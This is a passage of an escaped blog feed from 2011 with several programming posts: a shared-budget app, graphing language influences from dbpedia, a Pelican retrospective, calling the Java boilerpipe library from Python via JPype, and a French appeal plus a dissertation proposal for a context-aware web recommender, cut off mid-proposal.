much things at&amp;nbsp;once.&lt;/p&gt;
&lt;p&gt;No, I don&amp;#8217;t want my budget manager to make my shopping list, or to run a
blog for me, thanks. I want it to let me focus on something else. Keep
out of my&amp;nbsp;way.&lt;/p&gt;
&lt;h3 id="no-user-registration"&gt;No user&amp;nbsp;registration&lt;/h3&gt;
&lt;p&gt;You don&amp;#8217;t need to register an account on the website to start using it.
You just have to create a project, set a secret code for it, and give
both the url and the code to the people you want to share it with (or
the website can poke them for&amp;nbsp;you).&lt;/p&gt;
&lt;h3 id="keeping-things-simple"&gt;Keeping things&amp;nbsp;simple&lt;/h3&gt;
&lt;p&gt;&lt;span class="dquo"&gt;&amp;#8220;&lt;/span&gt;Keep It Simple, Stupid&amp;#8221; really matches our philosophy here: you want to
add a bill? Okay. Just do it. You just have to enter who paid, for who,
how much, and a description, like you would have done when you&amp;#8217;re back
from the farmer&amp;#8217;s market on raw&amp;nbsp;paper.&lt;/p&gt;
&lt;h3 id="no-categories"&gt;No&amp;nbsp;categories&lt;/h3&gt;
&lt;p&gt;Some people like to organise their stuff into different &amp;#8220;categories&amp;#8221;:
leisure, work, eating, etc. That&amp;#8217;s not something I want (at least to
begin&amp;nbsp;with).&lt;/p&gt;
&lt;p&gt;I want things to be simple. Got that? Great. Just add your&amp;nbsp;bills!&lt;/p&gt;
&lt;h3 id="balance"&gt;Balance&lt;/h3&gt;
&lt;p&gt;One of the most useful thing is to know what&amp;#8217;s your &amp;#8220;balance&amp;#8221; compared
to others. In other words, if you&amp;#8217;re negative, you owe money, if you&amp;#8217;re
positive, you have to receive money. This allows you to dispatch who has
to pay for the next thing, in order to re-equilibrate the&amp;nbsp;balance.&lt;/p&gt;
&lt;p&gt;Additionally, the system is able to compute for you who has to give how
much to who, in order to reduce the number of transactions needed to
restore the&amp;nbsp;balance.&lt;/p&gt;
&lt;h3 id="api"&gt;&lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;All of what&amp;#8217;s possible to do with the standard web interface is also
available through a &lt;span class="caps"&gt;REST&lt;/span&gt; &lt;span class="caps"&gt;API&lt;/span&gt;. I developed a simple &lt;span class="caps"&gt;REST&lt;/span&gt; toolkit for
flask for this (and I should release&amp;nbsp;it!).&lt;/p&gt;
&lt;h2 id="interested"&gt;Interested?&lt;/h2&gt;
&lt;p&gt;This project is open source. All of us like to share what we are doing
and would be happy to work with new people and implement new ideas. If
you have a nice idea about this, if you want to tweak it or to fill
bugs. Don&amp;#8217;t hesitate a second! The project lives at
&lt;a href="http://github.com/spiral-project/ihatemoney/"&gt;http://github.com/spiral-project/ihatemoney/&lt;/a&gt;&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Using dbpedia to get languages influences</title><link href="https://blog.notmyidea.org/using-dbpedia-to-get-languages-influences.html" rel="alternate"></link><published>2011-08-16T00:00:00+02:00</published><updated>2011-08-16T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-08-16:/using-dbpedia-to-get-languages-influences.html</id><summary type="html">
&lt;p&gt;While browsing the Python&amp;#8217;s wikipedia page, I found information about
the languages influenced by python, and the languages that influenced
python&amp;nbsp;itself.&lt;/p&gt;
&lt;p&gt;Well, that&amp;#8217;s kind of interesting to know which languages influenced
others, it could even be more interesting to have an overview of the
connexion between them …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;While browsing the Python&amp;#8217;s wikipedia page, I found information about
the languages influenced by python, and the languages that influenced
python&amp;nbsp;itself.&lt;/p&gt;
&lt;p&gt;Well, that&amp;#8217;s kind of interesting to know which languages influenced
others, it could even be more interesting to have an overview of the
connexion between them, keeping python as the main&amp;nbsp;focus.&lt;/p&gt;
&lt;p&gt;This information is available on the wikipedia page, but not in a really
exploitable format. Hopefully, this information is provided into the
information box present on the majority of wikipedia pages. And… guess
what? there is project with the goal to scrap and index all this
information in a more queriable way, using the semantic web&amp;nbsp;technologies.&lt;/p&gt;
&lt;p&gt;Well, you may have guessed it, the project in question in dbpedia, and
exposes information in the form of &lt;span class="caps"&gt;RDF&lt;/span&gt; triples, which are way more easy
to work with than simple &lt;span class="caps"&gt;HTML&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;For instance, let&amp;#8217;s take the page about python:
&lt;a href="http://dbpedia.org/page/Python_%28programming_language%29"&gt;http://dbpedia.org/page/Python_%28programming_language%29&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The interesting properties here are &amp;#8220;Influenced&amp;#8221; and &amp;#8220;InfluencedBy&amp;#8221;,
which allows us to get a list of languages. Unfortunately, they are not
really using all the power of the Semantic Web here, and the list is
actually a string with coma separated values in&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;Anyway, we can use a simple rule: All wikipedia pages of programming
languages are either named after the name of the language itself, or
suffixed with &amp;#8220;( programming language)&amp;#8221;, which is the case for&amp;nbsp;python.&lt;/p&gt;
&lt;p&gt;So I&amp;#8217;ve built &lt;a href="https://github.com/ametaireau/experiments/blob/master/influences/get_influences.py"&gt;a tiny script to extract the information from
dbpedia&lt;/a&gt;
and transform them into a shiny graph using&amp;nbsp;graphviz.&lt;/p&gt;
&lt;p&gt;After a&amp;nbsp;nice:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;get_influences.py&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;dot&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dot&lt;span class="w"&gt; &lt;/span&gt;-Tpng&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;influences.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The result is the following graph (&lt;a href="http://files.lolnet.org/alexis/influences.png"&gt;see it directly
here&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img alt="Graph des influances des langages les uns sur les
autres." src="http://files.lolnet.org/alexis/influences.png"&gt;&lt;/p&gt;
&lt;p&gt;While reading this diagram, keep in mind that it is a) not listing all
the languages and b) keeping a python&amp;nbsp;perspective.&lt;/p&gt;
&lt;p&gt;This means that you can trust the scheme by following the arrows from
python to something and from something to python, it is not trying to
get the matching between all the languages at the same time to keep
stuff&amp;nbsp;readable.&lt;/p&gt;
&lt;p&gt;It would certainly be possible to have all the connections between all
languages (and the resulting script would be easier) to do so, but the
resulting graph would probably be way less&amp;nbsp;readable.&lt;/p&gt;
&lt;p&gt;You can find the script &lt;a href="https://github.com/ametaireau/experiments"&gt;on my github
account&lt;/a&gt;. Feel free to adapt
it for whatever you want if you feel&amp;nbsp;hackish.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Pelican, 9 months later</title><link href="https://blog.notmyidea.org/pelican-9-months-later.html" rel="alternate"></link><published>2011-07-25T00:00:00+02:00</published><updated>2011-07-25T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-07-25:/pelican-9-months-later.html</id><summary type="html">
&lt;p&gt;Back in October, I released
&lt;a href="http://docs.notmyidea.org/alexis/pelican"&gt;pelican&lt;/a&gt;, a little piece of
code I wrote to power this weblog. I had simple needs: I wanted to be
able to use my text editor of choice (vim), a vcs (mercurial) and
restructured text. I started to write a really simple blog engine in …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Back in October, I released
&lt;a href="http://docs.notmyidea.org/alexis/pelican"&gt;pelican&lt;/a&gt;, a little piece of
code I wrote to power this weblog. I had simple needs: I wanted to be
able to use my text editor of choice (vim), a vcs (mercurial) and
restructured text. I started to write a really simple blog engine in
something like a hundred python lines and released it on&amp;nbsp;github.&lt;/p&gt;
&lt;p&gt;And people started contributing. I wasn&amp;#8217;t at all expecting to see people
interested in such a little piece of code, but it turned out that they
were. I refactored the code to make it evolve a bit more by two times
and eventually, in 9 months, got 49 forks, 139 issues and 73 pull&amp;nbsp;requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which is clearly&amp;nbsp;awesome.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I pulled features such as translations, tag clouds, integration with
different services such as twitter or piwik, import from dotclear and
rss, fixed a number of mistakes and improved a lot the codebase. This
was a proof that there is a bunch of people that are willing to make
better softwares just for the sake of&amp;nbsp;fun.&lt;/p&gt;
&lt;p&gt;Thank you, guys, you&amp;#8217;re why I like open source so&amp;nbsp;much.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Using JPype to bridge python and Java</title><link href="https://blog.notmyidea.org/using-jpype-to-bridge-python-and-java.html" rel="alternate"></link><published>2011-06-11T00:00:00+02:00</published><updated>2011-06-11T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-06-11:/using-jpype-to-bridge-python-and-java.html</id><summary type="html">
&lt;p&gt;Java provides some interesting libraries that have no exact equivalent
in python. In my case, the awesome boilerpipe library allows me to
remove uninteresting parts of &lt;span class="caps"&gt;HTML&lt;/span&gt; pages, like menus, footers and other
&amp;#8220;boilerplate&amp;#8221;&amp;nbsp;contents.&lt;/p&gt;
&lt;p&gt;Boilerpipe is written in Java. Two solutions then: using java from
python or reimplement boilerpipe …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Java provides some interesting libraries that have no exact equivalent
in python. In my case, the awesome boilerpipe library allows me to
remove uninteresting parts of &lt;span class="caps"&gt;HTML&lt;/span&gt; pages, like menus, footers and other
&amp;#8220;boilerplate&amp;#8221;&amp;nbsp;contents.&lt;/p&gt;
&lt;p&gt;Boilerpipe is written in Java. Two solutions then: using java from
python or reimplement boilerpipe in python. I will let you guess which
one I chosen,&amp;nbsp;meh.&lt;/p&gt;
&lt;p&gt;JPype allows to bridge python project with java libraries. It takes
another point of view than Jython: rather than reimplementing python in
Java, both languages are interfacing at the &lt;span class="caps"&gt;VM&lt;/span&gt; level. This means you
need to start a &lt;span class="caps"&gt;VM&lt;/span&gt; from your python script, but it does the job and stay
fully compatible with Cpython and its C&amp;nbsp;extensions.&lt;/p&gt;
&lt;h2 id="first-steps-with-jpype"&gt;First steps with&amp;nbsp;JPype&lt;/h2&gt;
&lt;p&gt;Once JPype installed (you&amp;#8217;ll have to hack a bit some files to integrate
seamlessly with your system) you can access java classes by doing
something like&amp;nbsp;that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jpype&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startJVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getDefaultJVMPath&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;# you can then access to the basic java functions&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# and you have to shutdown the VM at the end&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shutdownJVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Okay, now we have a hello world, but what we want seems somehow more
complex. We want to interact with java classes, so we will have to load&amp;nbsp;them.&lt;/p&gt;
&lt;h2 id="interfacing-with-boilerpipe"&gt;Interfacing with&amp;nbsp;Boilerpipe&lt;/h2&gt;
&lt;p&gt;To install boilerpipe, you just have to run an ant&amp;nbsp;script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;boilerpipe
$&lt;span class="w"&gt; &lt;/span&gt;ant
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is a simple example of how to use boilerpipe in Java, from their&amp;nbsp;sources&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;de.l3s.boilerpipe.demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.net.URL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;de.l3s.boilerpipe.extractors.ArticleExtractor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Oneliner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://notmyidea.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ArticleExtractor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To run&amp;nbsp;it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;javac&lt;span class="w"&gt; &lt;/span&gt;-cp&lt;span class="w"&gt; &lt;/span&gt;dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar&lt;span class="w"&gt; &lt;/span&gt;src/demo/de/l3s/boilerpipe/demo/Oneliner.java
$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;-cp&lt;span class="w"&gt; &lt;/span&gt;src/demo:dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar&lt;span class="w"&gt; &lt;/span&gt;de.l3s.boilerpipe.demo.Oneliner
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Yes, this is kind of ugly, sorry for your eyes. Let&amp;#8217;s try something
similar, but from&amp;nbsp;python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jpype&lt;/span&gt;

&lt;span class="c1"&gt;# start the JVM with the good classpaths&lt;/span&gt;
&lt;span class="n"&gt;classpath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startJVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getDefaultJVMPath&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-Djava.class.path=&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;classpath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# get the Java classes we want to use&lt;/span&gt;
&lt;span class="n"&gt;DefaultExtractor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JPackage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l3s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boilerpipe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extractors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultExtractor&lt;/span&gt;

&lt;span class="c1"&gt;# call them !&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;DefaultExtractor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTANCE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://blog.notmyidea.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And you get what you&amp;nbsp;want.&lt;/p&gt;
&lt;p&gt;I must say I didn&amp;#8217;t thought it could work so easily. This will allow me
to extract text content from URLs and remove the &lt;em&gt;boilerplate&lt;/em&gt; text
easily for infuse (my master thesis project), without having to write
java code,&amp;nbsp;nice!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Un coup de main pour mon mémoire !</title><link href="https://blog.notmyidea.org/un-coup-de-main-pour-mon-memoire.html" rel="alternate"></link><published>2011-05-25T00:00:00+02:00</published><updated>2011-05-25T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-05-25:/un-coup-de-main-pour-mon-memoire.html</id><summary type="html">
&lt;p&gt;Ça y est, bientôt la fin. &lt;span class="caps"&gt;LA&lt;/span&gt; &lt;span class="caps"&gt;FIN&lt;/span&gt;. La fin des études, et le début du
reste. En attendant je bosse sur mon mémoire de fin d&amp;#8217;études et j&amp;#8217;aurais
besoin d&amp;#8217;un petit coup de&amp;nbsp;main.&lt;/p&gt;
&lt;p&gt;Mon mémoire porte sur les systèmes de recommandation. Pour ceux qui
connaissent …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Ça y est, bientôt la fin. &lt;span class="caps"&gt;LA&lt;/span&gt; &lt;span class="caps"&gt;FIN&lt;/span&gt;. La fin des études, et le début du
reste. En attendant je bosse sur mon mémoire de fin d&amp;#8217;études et j&amp;#8217;aurais
besoin d&amp;#8217;un petit coup de&amp;nbsp;main.&lt;/p&gt;
&lt;p&gt;Mon mémoire porte sur les systèmes de recommandation. Pour ceux qui
connaissent last.fm, je fais quelque chose de similaire mais pour les
sites internet: en me basant sur ce que vous visitez quotidiennement et
comment vous le visitez (quelles horaires, quelle emplacement
géographique, etc.) je souhaites proposer des liens qui vous
intéresseront potentiellement, en me basant sur l&amp;#8217;avis des personnes
qui ont des profils similaires au&amp;nbsp;votre.&lt;/p&gt;
&lt;p&gt;Le projet est loin d&amp;#8217;être terminé, mais la première étape est de
récupérer des données de navigation, idéalement beaucoup de données de
navigation. Donc si vous pouvez me filer un coup de main je vous en
serais éternellement reconnaissant (pour ceux qui font semblant de pas
comprendre, entendez &amp;#8220;tournée&amp;nbsp;générale&amp;#8221;).&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai créé un petit site web (en anglais) qui résume un peu le concept,
qui vous propose de vous inscrire et de télécharger un plugin firefox
qui m&amp;#8217;enverra des information sur les sites que vous visitez (si vous
avez l&amp;#8217;habitude d&amp;#8217;utiliser chrome vous pouvez considérer de switcher à
firefox4 pour les deux prochains mois pour me filer un coup de main). Il
est possible de désactiver le plugin d&amp;#8217;un simple clic si vous souhaitez
garder votre vie privée privée&amp;nbsp;;-)&lt;/p&gt;
&lt;p&gt;Le site est par là: &lt;a href="http://infuse.notmyidea.org"&gt;http://infuse.notmyidea.org&lt;/a&gt;. Une fois le plugin
téléchargé et le compte créé il faut renseigner vos identifiants dans
le plugin en question, et c&amp;#8217;est&amp;nbsp;tout!&lt;/p&gt;
&lt;p&gt;A votre bon cœur ! Je récupérerais probablement des données durant les
2 prochains mois pour ensuite les analyser&amp;nbsp;correctement.&lt;/p&gt;
&lt;p&gt;Merci pour votre aide&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Analyse users’ browsing context to build up a web recommender</title><link href="https://blog.notmyidea.org/analyse-users-browsing-context-to-build-up-a-web-recommender.html" rel="alternate"></link><published>2011-04-01T00:00:00+02:00</published><updated>2011-04-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-04-01:/analyse-users-browsing-context-to-build-up-a-web-recommender.html</id><summary type="html">
&lt;p&gt;No, this is not an april&amp;#8217;s fool&amp;nbsp;;)&lt;/p&gt;
&lt;p&gt;Wow, it&amp;#8217;s been a long time. My year in Oxford is going really well. I
realized few days ago that the end of the year is approaching really
quickly. Exams are coming in one month or such and then I&amp;#8217;ll …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;No, this is not an april&amp;#8217;s fool&amp;nbsp;;)&lt;/p&gt;
&lt;p&gt;Wow, it&amp;#8217;s been a long time. My year in Oxford is going really well. I
realized few days ago that the end of the year is approaching really
quickly. Exams are coming in one month or such and then I&amp;#8217;ll be working
full time on my dissertation&amp;nbsp;topic.&lt;/p&gt;
&lt;p&gt;When I learned we&amp;#8217;ll have about 6 month to work on something, I first
thought about doing a packaging related stuff, but finally decided to
start something new. After all, that&amp;#8217;s the good time to&amp;nbsp;learn.&lt;/p&gt;
&lt;p&gt;Since a long time, I&amp;#8217;m being impressed by the &lt;a href="http://last.fm"&gt;last.fm&lt;/a&gt;
recommender system. They&amp;#8217;re &lt;em&gt;scrobbling&lt;/em&gt; the music I listen to since
something like 5 years now and the recommendations they&amp;#8217;re doing are
really nice and accurate (I discovered &lt;strong&gt;a lot&lt;/strong&gt; of great artists
listening to the &amp;#8220;neighbour radio&amp;#8221;.) (by the way, &lt;a href="http://lastfm.com/user/akounet/"&gt;here
is&lt;/a&gt; my lastfm&amp;nbsp;account)&lt;/p&gt;
&lt;p&gt;So I decided to work on recommender systems, to better understand what
is it&amp;nbsp;about.&lt;/p&gt;
&lt;p&gt;Recommender systems are usually used to increase the sales of products
(like Amazon.com does) which is not really what I&amp;#8217;m looking for (The one
who know me a bit know I&amp;#8217;m kind of sick about all this consumerism going&amp;nbsp;on).&lt;/p&gt;
&lt;p&gt;Actually, the most simple thing I thought of was the web: I&amp;#8217;m browsing
it quite every day and each time new content appears. I&amp;#8217;ve stopped to
follow &lt;a href="https://bitbucket.org/bruno/aspirator/"&gt;my feed reader&lt;/a&gt; because
of the information overload, and reduced drastically the number of
people I follow &lt;a href="http://twitter.com/ametaireau/"&gt;on twitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Too much information kills the&amp;nbsp;information.&lt;/p&gt;
&lt;p&gt;You shall got what will be my dissertation topic: a recommender system
for the web. Well, such recommender systems already exists, so I will
try to add contextual information to them: you&amp;#8217;re probably not
interested by the same topics at different times of the day, or
depending on the computer you&amp;#8217;re using. We can also probably make good
use of the way you browse to create groups into the content you&amp;#8217;re
browsing (or even use the great firefox4 tab group&amp;nbsp;feature).&lt;/p&gt;
&lt;p&gt;There is a large part of concerns to have about user&amp;#8217;s privacy as&amp;nbsp;well.&lt;/p&gt;
&lt;p&gt;Here is my proposal (copy/pasted from the one I had to do for my&amp;nbsp;master)&lt;/p&gt;
&lt;h2 id="introduction-and-rationale"&gt;Introduction and&amp;nbsp;rationale&lt;/h2&gt;
&lt;p&gt;Nowadays, people surf the web more and more often. New web pages are
created each day so the amount of information to retrieve is more
important as the time passes. These users uses the web in different
contexts, from finding cooking recipes to technical&amp;nbsp;articles.&lt;/p&gt;
&lt;p&gt;A lot of people share the same interest to various topics, and the
quantity of information is such than it&amp;#8217;s really hard to triage them
efficiently without spending hours doing it. Firstly because of the huge
quantity of information but also because the triage is something
relative to each person. Although, this triage can be facilitated by
fetching the browsing information of all particular individuals and put
the in&amp;nbsp;perspective.&lt;/p&gt;
&lt;p&gt;Machine learning is a branch of Artificial Intelligence (&lt;span class="caps"&gt;AI&lt;/span&gt;) which deals
with how a program can learn from data. Recommendation systems are a
particular application area of machine learning which is able to
recommend things (links in our case) to the users, given a particular
database containing the previous choices users have&amp;nbsp;made.&lt;/p&gt;
&lt;p&gt;This browsing information is currently available in browsers. Even if it
is not in a very usable format, it is possible to transform it to
something useful. This information gold mine just wait to be used.
Although, it is not as simple as it can seems at the first approach: It
is important to take care of the context the user is in while browsing
links. For instance, It&amp;#8217;s more likely that during the day, a computer
scientist will browse computing related links, and that during the
evening, he browse cooking recipes or something&amp;nbsp;else.&lt;/p&gt;
&lt;p&gt;Page contents are also interesting to analyse, because that&amp;#8217;s what
people browse and what actually contain the most interesting part of the
information. The raw data extracted from the browsing can then be
translated into something more useful (namely tags, type of resource,
visit frequency, navigation context&amp;nbsp;etc.)&lt;/p&gt;
&lt;p&gt;The goal of this dissertation is to create a recommender system for web
links, including this context&amp;nbsp;information.&lt;/p&gt;
&lt;p&gt;At the end of the dissertation, different pieces of software will be
provided, from raw data collection from the browser to a recommendation&amp;nbsp;system.&lt;/p&gt;
&lt;h2 id="background-review"&gt;Background&amp;nbsp;Review&lt;/h2&gt;
&lt;p&gt;This dissertation is mainly about data extraction, analysis and
recommendation systems. Two different research area can be isolated:
Data preprocessing and Information&amp;nbsp;filtering.&lt;/p&gt;
&lt;p&gt;The first step in order to make recommendations is to gather some data.
